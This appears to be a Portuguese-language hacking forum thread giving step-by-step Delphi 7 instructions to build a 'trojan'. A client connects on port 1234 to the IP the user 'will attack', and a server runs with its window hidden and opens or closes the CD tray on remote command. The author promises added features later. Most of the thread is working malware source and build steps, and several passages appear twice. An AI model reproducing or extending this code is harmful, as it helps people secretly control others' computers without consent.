Como fazer um Trojan no Delphi 7.0 PASSO-A-PASSO!
Página 1 de 1
Como fazer um Trojan no Delphi 7.0 PASSO-A-PASSO!
Gente, vou colocar uma foto do TROJAN que eu fiz!
Só vou postar DOWNLOAD do trojan, quando terminar o programa com a opção "de mandar mensagens" no pc da pessoa, ai vai ser da hora!!!
Vou colocar como fazer o hack depois.
Primeiro, baixe o delphi 7.
e depois eu faço um video-aula fazendo junto com voces!
link:
https://i.servimg.com/u/f82/13/72/94/38/captur16.jpg
ASS: Leandroo
Só vou postar DOWNLOAD do trojan, quando terminar o programa com a opção "de mandar mensagens" no pc da pessoa, ai vai ser da hora!!!
Vou colocar como fazer o hack depois.
Primeiro, baixe o delphi 7.
e depois eu faço um video-aula fazendo junto com voces!
link:
https://i.servimg.com/u/f82/13/72/94/38/captur16.jpg
ASS: Leandroo
Última edição por Admin em Qui Abr 16, 2009 9:43 pm, editado 2 vez(es)
Como fazer o trojan mostrado!
1°Abra o Delphi. Clique em Component, depois em vá em Install Packages…
2°Em Filename coloque isso e depois clique em Open:
%programfiles%\Borland\Delphi7\Bin\dclsockets70.bpl
Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para a criação do seu trojan.
3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons
Agora… insira um Edit que está na paleta Standard também
Depois insira um ClientSocket que está na paleta Internet.
Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption.E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque:
Desconectar, Abrir CD e Fechar CD.
Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da direita.
4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso ai embaixo
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;
a primeira linha… vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará.
Agora vá a janela anterior… E de dois cliques no botão Desconectar, e coloque isso:
ClientSocket1.Active := False;
ClientSocket1.Close;
CONTINUA...
2°Em Filename coloque isso e depois clique em Open:
%programfiles%\Borland\Delphi7\Bin\dclsockets70.bpl
Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para a criação do seu trojan.
3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons
Agora… insira um Edit que está na paleta Standard também
Depois insira um ClientSocket que está na paleta Internet.
Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption.E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque:
Desconectar, Abrir CD e Fechar CD.
Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da direita.
4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso ai embaixo
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;
a primeira linha… vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará.
Agora vá a janela anterior… E de dois cliques no botão Desconectar, e coloque isso:
ClientSocket1.Active := False;
ClientSocket1.Close;
CONTINUA...
Continuação da formação do trojan
essa linha fará com que o Client Socket, envie o texto com o número 1 para o servidor, e lá, esse texto será reconhecido…
Volte novante a janela anterior, dê dois cliques no botão Fechar CD, e coloque isso:
ClientSocket1.Socket.SendText(’2′);
ele faz a mesma coisa que o comando anterior, só que, ao invés de mandar um texto com o número 1 ele vai mandar um texto com o número 2.
Pronto cliente terminado,agora só falta o Server, então salve o programa clicando em File, depois em Save all e salve aonde você quiser.
Clique em File, depois New, depois Application
Vá na paleta Internet e de dois cliques em ServerSocket
Agora de um clique nele, e vá na janela Object Inspector, e mude a Port para 1234
Agora, ainda na Object Inspector, mude o Active para True
Novamente em Object Inspector, clique em Events, Depois de dois cliques em OnClientRead
Na nova janela que apareceu, apague o begin e coloque isso:
var
Kingcaio : String;
begin
Kingcaio := Socket.ReceiveText;
if Kingcaio = ‘1′ then
MciSendString(’Set CdAudio Door Open’,nil,0,Handle)
else if Kingcaio = ‘2′ then
MciSendString(’Set CdAudio Door Closed’,nil,0,Handle);
A 2ª linha vai definir a variante Kingcaio como uma string, a 4ª define a String Kingcaio como sendo igual a Socket.ReceiveText, que por sua vez significa ao texto recebido, a 5ª vai dizer tipo assim: “Se o texto recebido for igual a 1 faça isso, mas se não for siga em frente”, a 6ª é o comando para abrir o CD-ROM, a 7ª linha tem a mesma função que a 5ª linha, e por final a 8ª linha, é o comando para fechar o CD ROM.
CONTINUA...
Volte novante a janela anterior, dê dois cliques no botão Fechar CD, e coloque isso:
ClientSocket1.Socket.SendText(’2′);
ele faz a mesma coisa que o comando anterior, só que, ao invés de mandar um texto com o número 1 ele vai mandar um texto com o número 2.
Pronto cliente terminado,agora só falta o Server, então salve o programa clicando em File, depois em Save all e salve aonde você quiser.
Clique em File, depois New, depois Application
Vá na paleta Internet e de dois cliques em ServerSocket
Agora de um clique nele, e vá na janela Object Inspector, e mude a Port para 1234
Agora, ainda na Object Inspector, mude o Active para True
Novamente em Object Inspector, clique em Events, Depois de dois cliques em OnClientRead
Na nova janela que apareceu, apague o begin e coloque isso:
var
Kingcaio : String;
begin
Kingcaio := Socket.ReceiveText;
if Kingcaio = ‘1′ then
MciSendString(’Set CdAudio Door Open’,nil,0,Handle)
else if Kingcaio = ‘2′ then
MciSendString(’Set CdAudio Door Closed’,nil,0,Handle);
A 2ª linha vai definir a variante Kingcaio como uma string, a 4ª define a String Kingcaio como sendo igual a Socket.ReceiveText, que por sua vez significa ao texto recebido, a 5ª vai dizer tipo assim: “Se o texto recebido for igual a 1 faça isso, mas se não for siga em frente”, a 6ª é o comando para abrir o CD-ROM, a 7ª linha tem a mesma função que a 5ª linha, e por final a 8ª linha, é o comando para fechar o CD ROM.
CONTINUA...
Última edição por Admin em Qui Abr 16, 2009 6:59 pm, editado 1 vez(es)
Última parte da formação do trojan
ainda nessa janela suba a barra de rolagem até achar alguma coisa assim:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
Logo após de ScktComp coloque MMSystem
clique em Project depois em View Source, aparecerá uma nova janela, procure por Application.Initialize;, escreva logo abaixo dessa linha isto:
Application.ShowMainForm := False;
Agora clique em File e depois em Save All e salve em qualquer lugar…
Logo em seguida clique em Project em seguida Compile Project1.
Acabou! Agora vamos testar para ver se deu certo! Dê dois cliques no executável do server, depois no executavel do cliente, no edit que você inseriu coloque isso:
127.0.0.1
Que é o endereço de LoopBack, ou seja, é a mesma coisa que se você digitasse seu próprio IP, e logo em seguida clique em Conectar, e teste os comandos…
ASS: ADMIN E ALGUNS AJUDANTES..
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
Logo após de ScktComp coloque MMSystem
clique em Project depois em View Source, aparecerá uma nova janela, procure por Application.Initialize;, escreva logo abaixo dessa linha isto:
Application.ShowMainForm := False;
Agora clique em File e depois em Save All e salve em qualquer lugar…
Logo em seguida clique em Project em seguida Compile Project1.
Acabou! Agora vamos testar para ver se deu certo! Dê dois cliques no executável do server, depois no executavel do cliente, no edit que você inseriu coloque isso:
127.0.0.1
Que é o endereço de LoopBack, ou seja, é a mesma coisa que se você digitasse seu próprio IP, e logo em seguida clique em Conectar, e teste os comandos…
ASS: ADMIN E ALGUNS AJUDANTES..
Tópicos semelhantes
» Como medir seu peso!
» Como criar um server de Gunz
» Como burlar protetor de links
» Como trapacear no PINBALL do windows XP
» Como baixar arquivos torrent
» Como criar um server de Gunz
» Como burlar protetor de links
» Como trapacear no PINBALL do windows XP
» Como baixar arquivos torrent
Página 1 de 1
Permissões neste sub-fórum
Não podes responder a tópicos
|
|